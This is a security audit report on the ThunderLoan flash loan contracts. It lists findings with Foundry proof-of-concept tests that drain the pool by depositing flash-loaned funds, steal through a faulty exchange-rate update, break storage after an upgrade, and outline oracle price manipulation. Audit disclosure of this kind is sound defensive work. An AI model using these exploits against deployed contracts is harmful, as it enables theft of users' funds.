ThunderLoan Protocol Audit Report

Version 1.0

AlbertoGuirado

September 8, 2024

ThunderLoan Audit

Alberto Guirado Fernandez

September, 2024

Prepared by: Lead Auditors:

- ALB

Table of Contents

Protocol Summary

ThunderLoan is a flash loan protocol based on the principles of Aave and Compound. It is designed to facilitate flash loans and provide liquidity providers with an opportunity to earn interest on their deposited assets.

Disclaimer

We have conducted a security review of the ThunderLoan protocol, including its current implementation and the proposed ThunderLoanUpgraded contract. This review was performed with the goal of identifying potential security vulnerabilities within the provided time constraints.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash

`be6204f1f3f916fca7f5d72664d293e5b5d34444`

Scope

```
#-- interfaces
|   #-- IFlashLoanReveiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The entity responsible for managing the protocol and having the authority to upgrade the implementation.
- Liquidity Provider: Individuals or entities that deposit assets into the protocol to earn interest.
- User: Individuals who take out flash loans from the protocol.

Executive Summary

Issues found

Severity	Numb of issues found
High	3
Medium	1
Low	1
Informational	+2

Severity	Numb of issues found
Gas	1
Total	+8

Most of the informational findings are missing natspect

Findings

HIGH

[H-1] The `ThunderLoan::deposit` has the 'ThunderLoan::updateExchangeRate that causes to think it has more fees than it really does, which blocks redemption and incorrecly sets the exchange rate

- Same Root Casue -> 1 finding

Description In `ThunderLoan::deposit` the protocol calculates the ex-rate by dividing the total fees by the total deposits. However, the protocol does not account for the fact that the fees are not yet dstributed to the liquidity providers. This means that the exchange rate is calculated as if the fees have already been distributeed, which causes the exchange rate to be high. This casues the protocol to think it has more fees that it really does, which blocks redemption and incorrecly sets the exchange rate.

With a higher exchange rate, an attempt is being made to provide 10,000 `tokenA`, but there are not enough available in the pool.

```
1    function deposit(IERC20 token, uint256 amount) external revertIfZero(
        amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4          uint256 mintAmount = (amount * assetToken.
              EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7          // @audit HIGH -
8  @>        uint256 calculatedFee = getCalculatedFee(token, amount);
9  @>        assetToken.updateExchangeRate(calculatedFee);
10         token.safeTransferFrom(msg.sender, address(assetToken), amount)
              ;
11     }
```

Impact Several impacts:

1. Blocking redeem: The `redeem` function is blocked because protocol thinks the owned tokens is more than it has
2. Rewards are incorrectly calculated, leading to potentially getting way more or less than deserved

Users funds locks -> they cannot withdraw/redeem

- Likelihood: HIGH - Everytime someone deposit. If a liquidity provider wants to redeem his tokens (+profits of fees) get block function (redeem)

Proof of concept

1. LP deposit
2. User takes out a flashloan
3. It is now impossible for LP to redeem.

Proof of code

Place the following into ‘`ThunderLoanTest.t.sol`

```
1   function testRedeemAfterLoan() public  setAllowedToken hasDeposits {
2         // The start is already in setAllowedToken by owner and in
              hasDeposit by provider
3         uint256 amountBeforeRedeem = tokenA.balanceOf(liquidityProvider
              );
4
5         uint256 amountToBorrow = AMOUNT * 10;
6         uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
              amountToBorrow);
7
8         vm.startPrank(user);
9
10        tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
11        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
              amountToBorrow, "");
12        vm.startPrank(liquidityProvider);
13
14        thunderLoan.redeem(tokenA, type(uint256).max);
15  }
```

Steal from an atacker

```
1    function test_stealFromPool() public setAllowedToken hasDeposits  {
2
3         vm.startPrank(atacker);
4         tokenA.mint(atacker, DEPOSIT_AMOUNT);
5         tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
6         thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
7         vm.stopPrank();
8
```

```
9           uint256 amountBeforeRedeem = tokenA.balanceOf(atacker);
10
11          uint256 amountToBorrow = AMOUNT * 10;
12          uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
                amountToBorrow);
13
14          vm.startPrank(user);
15
16          tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
17          thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
                amountToBorrow, "");
18
19          vm.startPrank(atacker);
20          thunderLoan.redeem(tokenA, type(uint256).max);
21      }
```

Recommended Mitigation Remove the incorrectly updated exchange rate lines from the `ThunderLoan:deposit`

```
1       function deposit(IERC20 token, uint256 amount) external
            revertIfZero(amount) revertIfNotAllowedToken(token) {
2           AssetToken assetToken = s_tokenToAssetToken[token];
3           uint256 exchangeRate = assetToken.getExchangeRate();
4           uint256 mintAmount = (amount * assetToken.
                EXCHANGE_RATE_PRECISION()) / exchangeRate;
5           emit Deposit(msg.sender, token, amount);
6           assetToken.mint(msg.sender, mintAmount);
7           // @audit HIGH
8   -        uint256 calculatedFee = getCalculatedFee(token, amount);
9   -        assetToken.updateExchangeRate(calculatedFee);
10          token.safeTransferFrom(msg.sender, address(assetToken), amount)
                ;
11      }
```

[H-2] User can steal the amount that have been flash loaned with a deposit instead a repay

Description The ataker can steal everything he loan from `ThunderLoan::flashloan`.

Impact Every loan can be steal and drain the contract

Proof of concept

1. The atacker do a flashloan
2. Throught a fake flash loan reveiver, it get deposit the amount loaned
3. Because it was deposit, the ataker can redeeem/withdraw that amount.

Proof of code

```
function test_depositFlashLoan()public setAllowedToken hasDeposits() {
        uint256 amountToBorrow = 50e18;

        vm.startPrank(user);
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);

        MaliciousFlashLoanReceiverDeposit flrd = new
            MaliciousFlashLoanReceiverDeposit(address(thunderLoan));
        tokenA.mint(address(flrd), fee);
        thunderLoan.flashloan(address(flrd), tokenA, amountToBorrow, ""
            );
        flrd.redeemMoney();
        vm.stopPrank();
        assert(tokenA.balanceOf(address(flrd)) > 50e18+fee);
    }
```

Another aggressive version. We assume that the contract has a mechanism to protect the amount we take from the flash loan. We need to take the amount in different loans.

```
    function test_depositAndDrain()public setAllowedToken hasDeposits()
        {
        AssetToken tokenAmount = thunderLoan.getAssetFromToken(tokenA);
        uint256 cantidad = tokenA.balanceOf(address(tokenAmount));

        uint256 amountToBorrow = cantidad/10;
        vm.startPrank(user);
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        MaliciousFlashLoanReceiverDeposit flrd = new
            MaliciousFlashLoanReceiverDeposit(address(thunderLoan));
        tokenA.mint(address(flrd), fee);

        console.log("Total Amount to drain",cantidad);

        for (int i = 0; i < 10; i++) {
            if(amountToBorrow > tokenA.balanceOf(address(tokenAmount)))
                break;
            thunderLoan.flashloan(address(flrd), tokenA, amountToBorrow
                , "");
            flrd.redeemMoney();
            console.log("Stolen -> ", tokenA.balanceOf(address(flrd)));
        }
        vm.stopPrank();
        uint256 cantidad2= tokenA.balanceOf(address(tokenAmount));
```

```
21
22          console.log("Rest",cantidad2);
23
24          assert(tokenA.balanceOf(address(flrd)) > 50e18+fee);
25      }
```

Recommended Mitigation

[H-3] Swapping the variable location causes storage collisions in `ThunderLoan::s_flashloanfee` and `ThundeLoan::s_currentlyFlashLoaning`, feezing protocol

Description The original contract `ThunderLoan.sol` had 2 variables in a set order:

```
1      uint256 private s_feePrecision;
2      uint256 private s_flashLoanFee; // 0.3% ETH fee
```

And it get changed in the new `ThunderLoanUpgraded.sol` contract

```
1    uint256 private s_flashLoanFee; // 0.3% ETH fee
2    uint256 public constant FEE_PRECISION = 1e18;
```

Due to the Solidity storage structure, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables, breaks the storage locations as well.

Impact After the upgrade, `s_flashLoanFee` will have the value of `s_feePrecision` This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importnantly, the `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot. Fees are going to be all janked up for the upgrade/storage collision is BAD.

Proof of concept

1. The fee of the original contract is stored.
2. We create the new upgraded version
3. We check againg the fee with the wrong slot.

PoC

Place the following into `ThunderLoanTest.t.sol`

```
1    import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
        ThunderLoanUpgraded.sol";
2    .
```

```
.
.
  function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = upgraded.getFee();
        vm.stopPrank();
        console.log("Fee before: ",feeBeforeUpgrade);
        console.log("Fee after: ", feeAfterUpgrade);
        assert(feeBeforeUpgrade != feeAfterUpgrade);

    }
```

The storage of each contract it can be seen by `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation If you must remove the storage variable, leave it as blank to not mess up the storage slots.

```
-  uint256 private s_flashLoanFee; // 0.3% ETH fee
-  uint256 public constant FEE_PRECISION = 1e18;
+  uint256 private s_blank;
+  uint256 private s_flashLoanFee; // 0.3% ETH fee
+  uint256 public constant FEE_PRECISION = 1e18;
```

MEDIUM

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact Liquidity providers will drastically reduced fees for providing liquidity.

Proof of concept

In 1 transaction

1. User takes a flashloan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:

2. User sells 1000 `TokenA`, taking the price.
3. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`
4. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is subtantially cheaper.

```
1    function getPriceInWeth(address token) public view returns (
        uint256) {
2      address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
         token);
3      return ITSwapPool(swapPoolOfToken).
         getPriceOfOnePoolTokenInWeth();
4  }
```

5. The user then repays the first flash loan, and then repays the second flash loan.

Proof of code

1. The attacker takes a flash loan of 1000 `tokenA` from `ThunderLoan`.
2. The attacker sells 1000 `tokenA` on TSwap, manipulating the price.
3. Instead of repaying, the attacker takes a second flash loan for 1000 `tokenA`.
4. Due to the manipulated price, the second flash loan is obtained at a lower cost.
5. The attacker repays the first flash loan.
6. The attacker then repays the second flash loan at a lower price, profiting from the manipulation.

Recommended Mitigation Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle

1. Decentralized oracles like Chainlink provide more robust prices as they collect data from multiple external sources, making it difficult to manipulate.
2. Implement a Uniswap-based TWAP (Time-Weighted Average Price) system. A TWAP takes a time-weighted average of prices, reducing the impact of instantaneous fluctuations or short-term manipulations, such as those made through large transactions in a single block.

```
1  contract TWAPOracle {
2      IUniswapV2Pair public pair;
3      uint256 public price0CumulativeLast;
4      uint256 public price1CumulativeLast;
5      uint32 public blockTimestampLast;
6      uint256 public price0TWAP;
7      uint256 public price1TWAP;
8  ...
9  }
```

INFO

[I-1] Missing nat-specs

Proof of concept

```
function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata params
    )
        external
        returns (bool);
```

[I-2] The `IThunderLoan::repay` have an wrong type of parameter

Proof of concept

```
    function repay(address token, uint256 amount) external;
    .
    .
    .
    function repay(IERC20 token, uint256 amount) public {...}
```

[G-1] Too much calls in `AssetToken::updateExchangeRate`

In the `AssetToken::updateExchangeRate` the amount of calls are going to be a considerable gas waste. It should be with a parameter

Impact More gas waste

Proof of concept

```
uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) /
   totalSupply();
```

Recommended Mitigation

```
-uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) /
   totalSupply();
+   uint256 totalS = totalSuply();
+   uint256 newExchangeRate = s_exchangeRate * (totalS + fee) / totalS;
```